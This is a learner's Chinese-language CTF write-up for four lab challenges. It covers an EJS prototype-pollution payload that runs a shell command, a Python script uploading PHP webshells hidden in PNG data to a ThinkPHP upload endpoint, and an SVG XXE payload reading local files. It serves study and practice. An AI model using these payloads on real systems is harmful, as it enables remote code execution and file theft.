[GYCTF2020]Ez_Express

知识点：原型链污染

学习啊学习啊！挺难的！

https://www.cnblogs.com/escape-w/p/12347705.html 这篇看的挺好的！

我的认知就是，对象__proto_ 去找类了！然后再__proto_ 找父类，然后直接直接相当于在类里面给类添加属性了！

着JavaScript 不是很了解！哭哭！😪 JavaScript 里什么都嫩变成对象！

https://www.infoq.cn/article/kzsjo5y9trhtgsld_o3f

文章：

https://www.moonback.xyz/2020/02/13/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

ejs引擎
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

注意几个点把：

那么在Javascript中，我们何时可以控制实例对象的__proto__来污染原型链呢，只要找到可以控制数组（对象）的键名的位置即可，比如

1.对象clone

2.对象merge

以merge举例，要使__proto__作为key被赋值，还需要一个条件为传递的参数需要是以json来做解析，否则__proto__会被当作原型而不是一个key，故也就无法成功污染

具体的看大大大大大大大大大大师傅的文章把！

[ISITDTU 2019]EasyPHP

知识点：mathphp 异或webshell

难！脑壳疼！哈哈！我太水了！

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

不想干了！感觉这个题自己脑经不对！

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

[RoarCTF 2019]Simple Upload

知识点：tp漏洞

https://mayi077.gitee.io/2020/04/23/RoarCTF-2019-Simple-Upload/

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/8/7 17:13
# @Author  : upload
# @File    : [RoarCTF 2019]Simple Upload.py
# @Software: PyCharm

import requests
import time

proxy = '127.0.0.1:8080'
proxies = {
    'http': 'http://' + proxy,
    'https': 'https://' + proxy,
}
def a4229(a):
    if a == 429:
        print('fast')
        time.sleep(1)


burp0_url = "http://f355cf52-e9b0-4a76-9775-da8e8453766d.node4.buuoj.cn:81/index.php/Home/index/upload"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://www.upload.go",
                 "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryaCD7QUJWoa3goBLz",
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                 "Referer": "http://www.upload.go/", "Accept-Encoding": "gzip, deflate",
                 "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"file\"; filename=\"111.png\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\<?=$_GET[0]($_POST[1]);?>X\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz--\r\n"

# 这样不知道为什么上传不了！
# https://blog.csdn.net/five3/article/details/74913742
# file1 = {'file': ("1.txt", "")}
# file2 = {'file[]': ('1.php', "<?php eval($_GET['cmd'])?>")}
file1 = {'file': ('111.txt',"PNG")}
file2 = {'file[]': ("0.php", "<?=eval($_POST[1]);")}
# files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);'),"file3":("a.txt",'a')}

# 换一种方法
# file1 = "------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"file\"; filename=\"111.png\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\<?=$_GET[0]($_POST[1]);?>X\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz--\r\n"
# file2 = "------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"file\"; filename=\"111.php\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\<?=$_GET[0]($_POST[1]);?>X\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryaCD7QUJWoa3goBLz--\r\n"

r = requests.post(burp0_url, files=file1, proxies=proxies)
a4229(r.status_code)
print(r.text)

r = requests.post(burp0_url,  files=file2, proxies=proxies)
a4229(r.status_code)
print(r.text)
while r.text != '':
    break

r = requests.post(burp0_url,  files=file1, proxies=proxies)
a4229(r.status_code)
print(r.text)

[BSidesCF 2019]SVGMagic

知识点：xxe

SVG是个XML的图片。并且存在可控的内容 存在xxe!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

proc/self/cwd/当前工作目录！